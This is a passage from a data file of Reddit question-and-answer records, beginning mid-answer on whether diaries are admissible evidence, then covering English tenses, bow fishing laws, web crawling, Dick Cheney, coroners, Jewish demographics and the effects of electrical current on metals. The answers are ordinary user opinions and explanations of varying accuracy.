"Wait... so if you write down somewhere that you committed a crime... and the prosecutor gets hold of that... it'll make you look guilty?", "i am a lawyer and will take a stab at this (although i am not a criminal lawyer or even a litigator). everyone let me know if i get something wrong.\n\na written document (such as a diary) written voluntarily is not \"testimony\", it's \"evidence\". testimony is when you talk in court or to the authorities, and are cross-examined. if you are forced to do this, they are forcing you to testify against yourself.\n\n a diary is evidence just as much as a gun they found in your house. the right not to be forced to testify against yourself is more usefully understood as a \"right to silence\". otherwise, would the court not be able to consider your bank records or phone records or a tape recording of you talking to an undercover agent?\n\nthe admission of a diary DOES potentially violate the rule against \"hearsay\" which states that out of court statements (whether oral or written) are not admissible for the truth of their contents.\n\ngenerally speaking, statements made by the defendant ARE admissible for the truth of their contents. they fall into an exception to the hearsay rule. if the statements are not true, the defendant can waive his right to silence and tell the truth.\n\n_URL_0_", "There is the Fifth Amendment, which says that self-incrimination is completely, totally, definitely, hells-to-the-no, all kinds of unconstitutional.\n\nThen there is the Fourth Amendment, which says that search  &  seizure is restricted, but allowed in certain circumstances.\n\nThere is a tension between these two amendments. Long story short, here we are two hundred years later, and that tension has still not been resolved. In fact, if anything, it's gotten even more difficult to navigate because information technology has blurred the line between property and testimony. This is a very contentious aspect of law, so don't expect easy answers (or ones that will still be valid in a decade).\n\n*VERY APPROXIMATELY*.... if something is *property*, then the Fourth Amendment applies. The government can access it, subject to certain restraints. If something is *testimony*, then the Fifth Amendment applies, and you have a different (and much tighter) set of restraints. \n\nSo here's the thing, you can't just say \"oh, it's testimony.\" It's not enough to prove that there is a testimonial aspect to piece of property. You have to argue that the thing is more testimonial than not. And the reason for this is, the Fourth Amendment must exist. Not just that it does exist, but that it must exist.\n\nBecause the Fourth and Fifth amendments were passed at the same time, the Fifth Amendment is not allowed always override the Fourth. The passing at the same time means that there was an intention that the Fourth apply in some circumstances, and the Fifth in others. In short, there is a requirement that the Fourth Amendment *do something*. If an interpretation of the Fifth Amendment entirely eclipses the Fourth Amendment, then that eclipsing is itself proof that the interpretation is wrong.\n\nIn other words, the government must be able to seize *something* without the Fifth Amendment getting in the way. Even if something has testimonial flavor, it's not 100% testimony. Apparently diaries fall in that category. Seems odd, but quite a lot of physical property has testimonial weight similar to that of a diary. Especially things like balance sheets, of which there is a long and rich history of being able to seize.\n\n(Note that *forced testimony* is actually allowed, as long as it's not self-incriminating. The government actually does have the right to compel you to testify, but it has to give up its right to prosecute you based on what you say.)", "I would imagine it's considered a record.\n\nJust like e-mail.\n\nIf you emailed someone and discussed a crime, it's going to be\nadmitted.\n\nnow you can testify, why it isn't true, or that bad thoughts\naren't crimes, but, it will be admitted for background", "Statements made out of court (including written statements like a diary) are called hearsay.  Hearsay statements are not admissible as evidence, UNLESS they fall under one of the hearsay exceptions.  One of those exceptions is \"admissions by a party opponent,\" which would certainly include a diary written by the accused.  \nThe hard part would be laying the foundation to authenticate it.  Someone would have to testify that the Diary was in fact written by the accused, before the hearsay exception would apply. ", "There is generally a hearsay rule that means out of court statements can\u2019t be used in court. There\u2019s a bunch of exceptions. One of the big exceptions is statements made by the defendant. It\u2019s admissible because for one the defendants own statements about what happened and why are too important to keep out. It\u2019s also allowed because if the defendant wants to dispute something, they can testify as they are present.\n\nThe rule against self incrimination is not designed to protect you from the words you say. It\u2019s to protect you from the government requiring you to testify under oath. The idea is that the government needs to prove you are guilty, you don\u2019t need to prove yourself innocent.", "Why would it be trusted? \n\nAnyone can write anything down, even when the cover says Diary.\n\n", "Follow-up ELI5 - Would adding the film and television industry standard \"This work is fictional.  Any resemblance to events or persons, living or dead, is entirely coincidental.\" to that diary get you anywhere?", "This is why I tell people to just make a daily journal of what happened in their work place.\n\nA lot of times if something serious happens at work and you're faced with suing your employer then you'd have a detailed log that is admissible in court.\n\nI've seen it a couple of times where it's a \"he said she said\" type of thing with neither side having anything other than what they remember from that day.\n\nI've also seen someone sue their employer and get hired back with back pay because they documented another coworker coming in late all the time and when they were fired for showing up tardy twice due to weather, they filed a lawsuit against the company and had a detailed log of them allowing other people to not get fired for doing the same thing.", "The purpose of the relevant part of the 5th amendment is to prevent torture.\n\nFor something that was already written down without torture, there is no compulsion involved.", "For a more technical spin, this is a big question for something like a password for your laptop/phone.  If you are arrested, they can't force you to give them something you know vs something you have.  \n\nSo they can say we want the laptop, as it's something you have, they can say we want the password we know is written on X book in your top drawer.  They can't say, give us your password. Well, they legally can trick you into giving it to them, but you are not legally obligated to give it. ", "If you are under arrest, or if you are the defendant in a criminal trial, you have the right to be silent.  \n\nBut that does not mean that your words cannot be used against you.  If you said to your friend, \"*I just killed a guy*\", then your friend can potentially testify that she heard you say that.\n\nIf you write, \"*I just killed a guy*\" in your diary, then your diary can potentially be admitted into evidence.\n\nYour right to remain silent is not being violated in either case.  It is not the authorities who are forcing you to admit/deny killing someone.", "It's no different than the accused giving a television interview.  Of course it's fair game. ", "The issue of a diary is interesting, because, if I know enough about a person, I could write a diary based on their Facebook feed and sprinkle a little murderous thought in there.\n\nLike the jury is going to believe \"That's not my diary\".", "The fifth amendment protects things you know, not things you have. They can get a warrant to search your home, and anything thats in there, any of your personal property, can potentially be entered as evidence. ", "The difference is being forcibly made to testify or saying something voluntarily.  For instance, if you posted a Facebook video saying how you were going to hurt someone and then did that it would be used as evidence because you chose to create that.  Diaries get no special treatment compared to any other form of speech and would function the exact same way.\n\nAnother way to think about it is past vs. present.  Past speech is admissible, but we cannot demand you provide speech in the present.", "If you wrote something incriminating on an arbitrary piece of paper, should that be considered evidence? I'd say yes. Can it be argued that a diary is no different from any other paper? Definitely yes. That being the case, one should definitely consider a diary a form of evidence - assuming you wrote something interesting enough to be considered evidence-worthy inside it of course.\n\nIf you're dumb enough to write about a crime you committed in your diary, you deserve to have it read out in court.", "Ex-wife is an attorney.  She would say \u201cNever write anything down that you wouldn\u2019t want read in open court.\u201d  Email, text, Facebook, journal, log.... ", "They're only admissible if they strengthen or weaken the defence or prosecution case.  If they're not deemed relevant to the case, they don't meet discovery and are not admissible. ", "Reading through this thread, I have a question. So if the timeline of events in a diary are presumed true or considered evidence when proving guilt, can a diary also prove innocence? If that's the case, if I write in my journal an alibi for a crime I committed (I wrote I spent the night at grandma's on the night of the murder), does that hold as much weight as physical evidence of me being at a location (even though I wasn't)? If that's not the case, then a diary should be inadmissible regardless because there seems to be no real truth value.", "A little Evidence 101: not everything written out of court is hearsay, and even if it is hearsay, it might still be admissible.\n\nThe default rule is that hearsay is not admissible. But hearsay isn't just things spoken out of court. Hearsay is specifically things spoken/written out of court that are offered in court TO PROVE THE STATEMENT THEY ARE MAKING.\n\nIt sounds more complicated than it is. If the witness were to write in his diary, \"Mars is attacking!\" then if you wanted to bring that into court to prove that Mars was attacking, that would be hearsay. This is not allowed--the general thinking is you prefer to have the witness make such a statement on the stand, because a witness should always be subject to cross examination whenever possible. It isn't fair to admit hearsay and have no way of cross-examining the witness.\n\nBUT, if you wanted to bring that statement into court to prove that the witness is crazy (for believing that Mars was attacking), then you are admitting it to prove the person's state of mind, and not the veracity of the statement. So it would therefore not hearsay and would be potentially admissible.\n\nEven if you want to admit something said out of court to prove the thing it is stating (that is, hearsay), there are exceptions to when hearsay is admissible. One is when you are using the statement to impeach a witness. So, for example, if you write in a diary, \"I killed the victim,\" then that is admissible hearsay, because it falls under the exception for self incrimination. \n\nNote that you have a 5th Amendment right to stay silent, but not a 5th Amendment rights to keep incriminating evidence out of court if you already opened your big fat mouth.", "It's evidence, not testimony.  You can be forced to hand over evidence.  You can be forced to hand over books, email, notes.  Or they can be acquired by other means.\n\nThere is almost no distinction for \"personal\" evidence, e.g. a diary vs a post-it \"note to self: remember to hide the body\".  It's all evidence, which you will always be compelled to hand over.  But you cannot be compelled to confess.\n\n\"compelled\" means you can be charged with a crime/imprisoned for not doing so.  If a record is known to exist, and requested, if you don't hand it over you could go to jail for contempt of court/destruction of evidence/interference with the courts.  \n\nBut if they ask where you were the night of the murders, you can plea the fifth amendment.  You may still be convicted of murder, but you CANNOT be charged with failing to answer a question that could incriminate you.\n\nIt does not extend to others.  Your brother, if not involved with any crime, *cannot* use the fifth amendment because he doesn't want you to go to jail.  He could be charged and jailed if he labeled a witness and refuses to testify, though that is rare.  \n ", "There\u2019s a difference between \u201chaving an adverse statement being used against you\u201d and \u201cbeing forced to testify against yourself.\u201d In the first scenario, your own prior words might be the things getting you into trouble and you might object to the admission of those words, but you already voluntarily put them out into the world (e.g., writing in a diary). Therefore, they can be used against you. In the second scenario, you are being forced to say or do something that you wouldn\u2019t have otherwise said or done (e.g., being held in contempt if you don\u2019t take the stand).\n\nThe rules of evidence typically allow any prior statements made by a plaintiff or defendant in a case to be admissible. That\u2019s why lawyers always say to keep your mouth shut and/or to not put certain things in writing when you get pulled over, into a car accident, etc. ", "This is a great question and shows you understand the complex  issues involved in making a this determination. The quick and dirty answer is that these are admissible under the exception to the hearsay rule which allows statements against interest to be admitted. It also qualifies as non-hearsay because it is being offered against a party-opponent. Probably still gray huh? \n\nCouple of points to understand first:\n\nHearsay is defined as exactly this and nothing more: *an out of court statement \nby a now unavailable declarant, offered to prove the truth of the matter asserted.*  \n\nHearsay is thought to be problematic because it goes against your 6th amendment right to confront your accusers (this is often the problem with murder victim letters stating \u2018if I die then person A killed me.\u2019 You couldn\u2019t ever question this person or present evidence as to why they thought this). \n\nThe default rule in court (both civil and criminal) is that hearsay is NOT allowed... however, like most rules there are exceptions. In the case of the hearsay rule of evidence, there a TON of exceptions and some *exemptions* to the rule...\n\nThe general idea behind the exceptions is that some types of statements are inherently more reliable than others and so as a society we are more comfortable admitting them into evidence even though they are hearsay. Some of these exceptions make sense, for instance, the business records exception. That one holds that you can introduce hearsay, say a registry at a funeral home, because it is the type of record that type of business would normally keep (the idea being that regular business records would be less likely to be false due to the volume and regularity of keeping them in running the business). Other exceptions are a bit of a stretch as far as whether you can assume they are reliable, for example, the dying declaration exception. This hearsay exception holds that we can admit a statement by a declarant (now unavailable) who believes they are about to die. The idea there is it would be unlikely for someone to meet their maker with a lie upon their lips (see why I say this one is a bit of a stretch?). The key Always though there must be some indication that the statement is trustworthy but it varies as far as  what counts as reliable. \n\nWith respect to the prior out of court statements of the accused, first remember that if the defendant testifies, we are no longer calling the statements (diaries) \u2018hearsay.\u2019 Why? Because we can ask the defendant about it which is the whole purpose of cross examination. So assuming the defendant does not testify due to asserting the 5th amendment privilege against self incrimination, we can probably still manage to admit the statement because it qualifies as a \u201cstatement against interest\u201d which is yet another exception to the hearsay rule. The theory behind why this type of statement is reliable is that a person wouldn\u2019t ordinarily state something against their interest unless it was true. For example \u201cI have herpes\u201d is probably something I wouldn\u2019t say unless I had it (unless you could prove I was making the statement for some other reason). So a defendant writing, \u201cI want to kill that Clarabell\u201d is probably true because he wouldn\u2019t say it otherwise (again unless you can prove he was saying this to throw you off, etc). \n\nDoes that make sense?", "What if it's a locked diary? ", "They're admissible the same way that any statements that are made before you're arrested are admissible.  If you shout \"I killed a man!\" of your own free will and out of court, that's 100% admissible.  You can't be coerced to give self-incriminating testimony, but nothing about the 5th Amendment stops you from voluntarily doing it. ", "You can't be forced to incriminate yourself, but you are allowed to if you'd like.\n\nWriting confessions in a diary prior to being caught is just that.", "Them being admissible as evidence is a complicated thing to consider, to begin with.\n\nI'm not a lawyer, but I do have a fair background in law (to the level of a paralegal, essentially). Also, this comes from the perspective of someone living in the USA, as law varies widely depending on where you are in the world.\n\nIn short: Being forced to testify against yourself tends to only include forcing you to speak or write something \"after the fact.\" \n\nIf incriminating yourself by what you did (writing, or otherwise) made something inadmissible as evidence, then the fact that you left a weapon at a crime-scene would be equally as inadmissible as a diary entry stating you intended to commit a crime (or that you did commit a crime). As would writing something on a \"less private\" document. Ultimately, how privately you \"feel\" that certain things should be in your life, the moment that you make that information available to the wider world - it is generally considered acceptable as evidence under the right circumstances. If it remains in your head, on the other hand, you cannot be forced to testify against yourself.\n\nThe fact that the evidence happens to be more indirect is not relevant to whether or not you are \"testifying against yourself.\" In the case of writing in a diary, while you might believe you have a right to privacy regarding it, that privacy is not necessarily going to matter in the case of being in court.\n\nThe rest of this is more of a digression, and not a direct answer to your question.\n\nAnother thing to consider is that a diary is far from being very \"good\" evidence, even if it were to be admitted in a court of law. Anything that a suspect might write in a diary, after all, could be accurate or otherwise. It isn't very direct evidence, and diaries are likely to not be allowed as evidence in many cases if the contents are wholly irrelevant to the case at hand (other than to paint a negative picture of the suspect by selective interpretation of the text). A good lawyer might be able to get diary contents from not being brought up in court as evidence, depending on the circumstances at hand. \n\nThis would not be because the diary itself is a case of you legally \"testifying against yourself\" however, in the sense of you having your civil rights violated. It would instead be just because of the fact that diaries make for poor evidence to begin with. In the case of having large amounts of other supporting evidence however, if your suspect happens to have filled out a diary that incriminates them towards having done a certain crime, then it could be seen as useful towards seeing a successful prosecution. \n\nAt the end of the day, concepts such as \"testifying against yourself\" are narrowly defined in law. If they were not, then as I implied before, it would be impossible to prosecute anyone for a crime. After all, your own actions are usually the only thing that can ever lead towards evidence being created that would incriminate you. While it may be true that nobody can force you to \"create\" new evidence (such as in testifying against yourself), if you decide to do so of your own free will (such as writing down incriminating statements in a diary), then you've basically waived any legal protections involved."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://nccriminallaw.sog.unc.edu/hearsay-exceptions-admissions-by-party-opponents/"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "a98wzc", "title": "what is the grammatical difference between \u201che is [verb]\u201d vs \u201che [verb]\u201d?", "selftext": "For example: he is reading vs he reads, she is fishing vs she fishes. I\u2019ve noticed we use both in English, but I\u2019m not sure what tense or usage differentiates between the two.  \nEdit: To be more specific, in some languages, tenses are categorized into the indicative, subjunctive, etc. What category would these tenses fall under? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a98wzc/eli5_what_is_the_grammatical_difference_between/", "answers": {"a_id": ["echblrl", "echck8s", "eche7vj", "echgxpa"], "score": [3, 15, 4, 3], "text": ["The -ing form expresses that the person is doing something right now but when you say she reads it means she often does that but not necessarily right now ", "I think we tend to use \"he is ____ing\" when the person is doing that thing right now, and we use \"he ___es\" when the person does it generally or habitually. \"He is fishing\" implies he's out somewhere fishing right this moment, while \"he fishes\" means he goes fishing often. \n\nInterestingly, in French, this distinction doesn't exist in the present tense but it does in the past tense. \"Il va\" means \"he is going\" or \"he goes\", while \"il est all\u00e9\" means \"he went\" and \"il allait\" means \"he used to go\". ", "In English, \"he is reading\" is the present continuous tense, it describes an action that's not constant, but is currently happening.  \"He reads\" is the simple present tense, it describes an action that always occurs, or happens regularly.\n\n_URL_0_", "\u201cHe reads.\u201d Simple Present Tense. \n\n\u201cHe is reading.\u201d present continuous tense. (Present Participle)\n\nThere is an important difference between the simple present and present continuous tenses. \nThe simple present tense is used to talk about things that we do all the time. For example, we use this tense to talk about our jobs, hobbies, habits etc. \nThe present continuous tense is used to talk about things that are happening at the moment of speaking.\n\nEnglish grammar is way too complicated ImO. Hehe"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.oxforddictionaries.com/grammar/verb-tenses"], []]}
{"q_id": "4mi8e5", "title": "why is bow fishing illegal in some states?", "selftext": "I read a news article today about a man that got in trouble by getting a huge fish while bow fishing (fishing with a compound bow and arrow with line attached that you pull in by hand). Why is this considered illegal in some states? It presents a larger challenge than rod and reel fishing.\n\n_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4mi8e5/eli5_why_is_bow_fishing_illegal_in_some_states/", "answers": {"a_id": ["d3vp0f9", "d3vqspb"], "score": [3, 3], "text": ["Use of a weapon when hunting requires the proper permits and not every region issues permits for bow fishing. He did not have such a permit (either because it is not allowed or he just did not get one) and as such he is a poacher. ", "There is no requirement that lawmakers have a \"reason\" when they pass a law. \n\nRules for fishing are made by state game management folks in an attempt to balance the amount of wildlife taken by fishermen.  Season starting dates and the like are arbitrary choices, adjusted to protect the wildlife's ability to reproduce."]}, "title_urls": [], "selftext_urls": ["http://www.kswo.com/story/32126545/man-claiming-to-catch-record-fish-charged-with-wildlife-violations"], "answers_urls": [[], []]}
{"q_id": "3h6qg7", "title": "how does google find new unlisted websites?", "selftext": "I just finished my [website](_URL_0_) and was wondering, if a website isn't listed anywhere, how does Google still find it?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3h6qg7/eli5_how_does_google_find_new_unlisted_websites/", "answers": {"a_id": ["cu4q4ox", "cu4r4s5", "cu4wtnr"], "score": [7, 4, 11], "text": ["Google uses spiders/crawlers that look for information from page to page using links, and then stores them into their database. Basically they enter a page, scans links on that page, and enters those pages and so on. They update their databases regularly(maybe everyday) with what they find, but they don't put it all in. They rank these pages based on many factors, like relevance, popularity etc.. So some pages don't really appear (but somehow get counted as a result).\n\n", "There is also the new information from the domain registries when you register your domain name. That is a logical place to start the crawlers and index your pages from the day you first make them visible.", "Website owners can also manually tell Google about a new site through Google Webmaster Tools (_URL_0_). You simply sign in with your regular Google account, and once you prove that you are the site owner (usually by uploading an HTML file that they give you), you can submit a sitemap to tell them about all the pages on your site and track various search and crawl statistics. You can see how many times your pages were crawled, different search queries people used to reach your site and your ranking for each query, etc."]}, "title_urls": [], "selftext_urls": ["http://samir.com.au/category/poetry/"], "answers_urls": [[], [], ["https://www.google.com/webmasters"]]}
{"q_id": "3ewjz2", "title": "why does dick cheney have a reputation for being such a bad person?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3ewjz2/eli5_why_does_dick_cheney_have_a_reputation_for/", "answers": {"a_id": ["ctj1f3n", "ctj1f3s", "ctj2gq5", "ctj2nnq", "ctj2wbr"], "score": [26, 3, 44, 2, 10], "text": ["He has always been a hawkish person who makes, what many consider, inflammatory statements. The way he carries himself and his facial expressions added to this, as he has the typical villian look about him.\n\nTo many it appears he manipulated President Bush and controlled much of what happened during their administration, this is not a good thing, as he was not elected president, he was elected vice president.\n\nThe biggest things are his support of what he, to this day, calls 'inhanced interrogation techniques.' What most people, even President Obama, have come to call torture. The CIA did some terrible things to people to get information, and that is dubious at best, and he defends it to this day.The second thing is the connections to Iraq and the company he was formally the CEO of, Halliburton. This only fueled the idea that the Iraq war was about oil, and not about the freedom of Iraq from tyranny.", "Dick Cheney was seen as the power in a very unpopular administration. He was involved a number of business dealings that were questionable (Working for Halliburton and then giving them no bid contracts). After his term ended, he has been outspoken against the current administrations foreign policy despite the very common view that his own administrations policies were a complete disaster. He also has a gruff personality that adds to the image. ", "Do you want the whole list of crimes against humanity, or just the highlights? Well, I don't have a couple hours here, so let's just touch on the highlights...\n\nCheney was part of the group of hardcore neocons (other members were Don Rumsfeld, Paul Wolfowitz, John Bolton, and a few others) who cooked up the notion of invading Iraq back in the 90s as a way of earning what they saw as some cheap, easy political capital. When candidate George Bush asked Cheney to head up his VP selection committee, Cheney thought long and hard and picked...himself. \n\nWhen this mob slimed their way into power, Cheney immediately set to work to put the plan in motion. In the early days of the Bush administration, Cheney was the ultimate gatekeeper to the Oval Office. Bush famously styled himself as \"The Decider,\" but it was Cheney who got to decide what The Decider decided ON. Selling the war to Bush was probably an easy job, Dubya probably saw it as a good way to prove to Poppy Bush that he was wearing Big Boy Pants now. \n\nSo they lied to the American people, the UN, and the world and told them Saddam Hussein was a Clear and Present Danger to the world, and we invaded, a move that will eventually be recorded as one of the WORST blunders in US history.\n\nNext, Cheney had his pet lawyer David Addington (and later, John Yoo) in the Office of Legal Counsel draw up a series of SERIOUSLY-dubious findings that declared by simple fiat that terrorists were \"illegal combatants,\" and thus not subject to the the protections of the Geneva Conventions. And then Darth Cheney issued the order to \"take the gloves off.\"\n\nAlthough most people have never heard of the OLC, their job is essentially to write get-out-of-jail-free cards for the executive branch. If the OLC issues a finding, the Attorney General does not veto it (they rarely do), and the President signs off on it, then any member of the executive branch following the finding in good faith can pretty much not be prosecuted in the US.\n\nSo we began torturing and beating prisoners (including literally beating them to death), subjecting them to all kinds of barbaric treatment. We disappeared people, rendered them to foreign jails, the whole book of things that we used to call people savage barbarians and war criminals for (including things like waterboarding that the Allies actually executed a few Germans and Japanese for after WWII). Completely innocent people were arrested, beaten, and killed. Not just a few by accident in the fog of war, but by the tens of thousands. All of this was SERIOUSLY illegal under the GC, which have the Congress-ratified force of law in the US. Neocons really don't care for the concept of \"international law,\" so they just pretended it doesn't exist.\n\nEven that wasn't enough savagery for Cheney, so he and Rummy appropriated the Joint Special Operations Command from the Pentagon. They removed it from the regular chain of command and essentially turned it into The President's Own Death Squad, answerable only to a very short chain of command that begins and ends in the Oval Office.\n\nThey also swept away the old Church Committee rules on the CIA that kept them from killing people on a whim, and then turned them loose as a *second,* independent death squad, often working at cross-purposes with the JSOC death squads, and both of those *definitely* at cross-purposes with US diplomatic and military programs.\n\nAnd he shot a friend in the face, and the guy he shot apologized. Cheney never did.\n\nThe man is the most relentlessly evil individual not currently wanted by law enforcement or under indictment for crimes against humanity (yet). He's a fluffy cat shy of being an actual Bond villain.\n", "The reason he's despised are many. Several posts here all used the term \"manipulation\" which is spot on. \n\nIn my opinion, he used the emergency situation the nation faced after 9.11 to advance an extreme ideology and an Regressive world view that cost the nation dearly in terms blood, money and prestige. Yet to this day he is still damnning the nation to doom for not having tried hard enough. Among the villains of the Republic he is unique in the net damage he has caused.\n\n", "Just to add to what other people have said here:\n\n* Cheney was famously shadowy. Early in the Bush administration, he held secret meetings with his buddies from the energy industry. When people tried to get access to the records of these meetings using open records requests, they claimed executive privelege. IT went all the way to the Supreme Court, which ruled in Cheney's favor. Adding on to that, he [later claimed](_URL_1_) he was his own branch of government in order to avoid disclosure requirements for executive and legislative branches. Even when he shot a guy in the face, he tried to keep it a secret. \n\n* Dick Cheney is a huge war hawk. He's never met a war he didn't support. But he's personally a coward who got 5 deferments from Vietnam. When asked about it, he told the interviewer he had better things to do (his exact words). \n\n* During the 2004 campaign, they were running against John Kerry, an actual Vietnam War hero who earned 3 purple hearts and a bronze star. The Bush/Cheney campaign masterminded the [swiftboating campaign](_URL_2_) to discredit his war accomplishments by claiming he never really did the actions to earn them. All of these claims were based on lies by people who were not there. \n\n* The Bush administration's PR campaign to get us to go to War in Iraq was full of lies (statements that were false, and were known to be false at the time). Dick Cheney orchestrated this campaign, and more than any other person (except perhaps Colin Powell) he was the public face of it. Every Sunday, he want on the talk shows and made claims that were later shown to be completely false. \n\n* Dick Cheney's company, Haliburton, was a war profiteer that [killed Americans troops](_URL_0_) through its negligence. \n\n* During the 2004 campaign, Bush and Cheney ran on a campaign to make gay marriage illegal. (At the time, it was legal in 2 states and illegal in all the rest). One of Cheney's daughters is gay, and he now claims that he never supported the ban. But he never said anything at the time. He's just trying to look better now that his 2004 campaign looks so bigoted. \n\nI could go on and on and on, but tldr he's evil. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.stripes.com/news/lawsuit-names-halliburton-subsidiaries-in-soldiers-deaths-1.71143", "http://content.time.com/time/nation/article/0,8599,1636435,00.html", "https://en.wikipedia.org/wiki/Swiftboating"]]}
{"q_id": "9vfodx", "title": "the differences between; coroner, medical examiner and forensic pathologist.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9vfodx/eli5_the_differences_between_coroner_medical/", "answers": {"a_id": ["e9bty5h", "e9bwipa", "e9c2hia", "e9cgg06", "e9cs4tz"], "score": [101, 13, 3, 6, 3], "text": ["The coroner is the person in charge of reporting to a court the circumstances in which someone has met an unexplained death. A medical examiner is someone who examines people who have been killed or injured during the course of a crime or suspicious incident. A forensic pathologist is someone who examines a dead body and determines the cause of death. \n\nThere is a great deal of overlap between these roles and often they can be performed by the same person, indeed a forensic pathologist is a specialist medical examiner. ", "In the United States, the Coroner is someone who investigates deaths which are sudden/unexpected without an attending physician, and deaths which are violent or suspicious. The Coroner is called to investigate when someone dies in a car accident. He's also called upon when someone is admitted to the hospital and dies unexpectedly within the first 24 hours. From there, they can decide whether an inquiry as to the manner of death is undertaken.\n\nCoroners qualifications to serve vary by state as well. Some are lay people without any medical background (as is the case with ours--he owned a gas station/auto repair shop before being *elected* Coroner). Other states require that the Coroner be a Medical Examiner (a physician), and other states require that the Coroner not only be a physician, but one who specializes in Forensic Pathology as well. \n\nTL;DR: The Coroner is a broad term for one who investigates suspicious or sudden deaths. States vary in their requirements to become a Coroner--some are lay people, some are physicians, and some are Forensic Pathologists (MD's who specialize). \n\nMuch more reading: [Coroners](_URL_0_)", "In many states, coroners do not have to be doctors. However, both medical examiners and forensic pathologists must be doctors. A forensic pathologist is a doctor who has become board-certified in the field of forensic pathology. ", "A coroner is a law officer and a judicial officer depending on jurisdiction. They needn\u2019t be a doctor.\n\nA medical examiner is a legal title held by a forensic pathologist.", "A coroner reports \u201cyep. He dead.\u201d\nA medical examiner reports \u201cyep. He dead. There\u2019s a bullet hole in his head.\u201d\nA forensic pathologist reports \u201cyep. He dead. There\u2019s a bullet hole in his head; but it was the heart attack that killed him.\u201d"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Coroner#United_States"], [], [], []]}
{"q_id": "3r2zjk", "title": "How large is today's global Jewish population compared to before the Holocaust? How spread out are they across the world compared to before?", "selftext": "It's been over 70 years since the end of the Holocaust, and the world's population has swelled since then.  What about the Jewish population?  Has it reached the level it was at before the Holocaust?  And how spread out are they compared to before?  More, or perhaps less because of Israel?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3r2zjk/how_large_is_todays_global_jewish_population/", "answers": {"a_id": ["cwkiluy"], "score": [2], "text": ["Today's global Jewish population is still slightly below that of the generation before the Holocaust. This is due to intermarriage and assimalation in the US and Soviet Union which hosted the two largest post-Holocaust Jewish communities outside of Israel. Additionally, Jews in the Soviet Union faced discrimination and persecution while Jews in the US had a low birth rate.\n\nWhile Jewish history since the destruction of the first Temple and exile to Babylon in 586 BCE was characterized by Jews spreading out more and more across the globe, post-Holocaust has been characterized by the consolidation of the world's Jewish population in Israel and America where the majority of Jewish refugees went after the Holocaust. Besides this, almost the entire Jewish population of North Africa and the Middle was either expelled or fled because of violence, depending on the country, after the creation of Israel in 1948 with the majority being taken in by Israel. \n\nHere is a lovely [pie chart](_URL_0_) showing world Jewry distribution as of 2013. It's from the American Jewish Yearbook 2013 and can be found [here](_URL_1_).\n\nSadly, the American Jewish Yearbook 1938 only had lists in tables and no pretty and colorful pie charts. You can look at it [here](_URL_2_). I've copied some general figures from the report.\n\nJewish population of-\n\nCentral and Eastern Europe 7,363,000\n\nWestern and Southern Europe 1,590,000\n\nNorthern Europe 185,000\n\nUSA 4,227,000\n\nNorth America (excluding USA) 176,000\n\nSouth America 318,000\n\nNorth Africa 602,000\n\nSub-Saharan Africa 149,000\n\nPalestinian Mandate 386,000\n\nMiddle East (excluding Palestinian Mandate) 128,000\n\nCentral and Northern Asia 223,000\n\nEastern and Southern Asia 48,000\n\nAustralia 27,000\n\n*edited for spelling"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://imgur.com/Qbb0R5N", "http://www.jewishdatabank.org/studies/downloadFile.cfm?FileID=3113", "http://www.ajcarchives.org/AJC_DATA/Files/1938_1939_7_Statistics.pdf"]]}
{"q_id": "4vib34", "title": "When conducting an electrical current, are the mechanical properties of a metal affected?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4vib34/when_conducting_an_electrical_current_are_the/", "answers": {"a_id": ["d5yyjx4", "d5z07if", "d5ymnw5"], "score": [3, 2, 11], "text": ["In addition to piezoelectric effects, normal wires heat up under electrical load. This causes them to expand under load among other thermal effects. \n\nIt is also common for electrical contact to vibrate due to electromechanical effects - one of the results of this is that screws holding electrical contacts tend to loosen over time. ", "Electrical currents cause joule heating as well, you can significantly affect defects in materials by applying large currents and cause gaps to close (think of superconductivity) and such. Really any material, when applying enough current will undergo some kind of electrical transition (whether it be by changing its state of matter or by changing lattice parameters, etc.).\n", "They certainly can be. The best example of such an effect is the [piezoelectric effect](_URL_0_), which couples a mechanical stress in a material to its electric field. As a result, when you apply a stress on a chunk of a piezoelectric material you create an electric field. Likewise in the converse effect, when you create an electric field (e.g. by hooking the material up to an EMF source), you can create a mechanical deformation. In fact, this effect is far from an abstract curiosity. Piezoelectric stages and controllers are widely used in instruments like atomic force microscopes (AFMs) or scanning tunneling microscopes (STMs)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Piezoelectricity#Mechanism"]]}
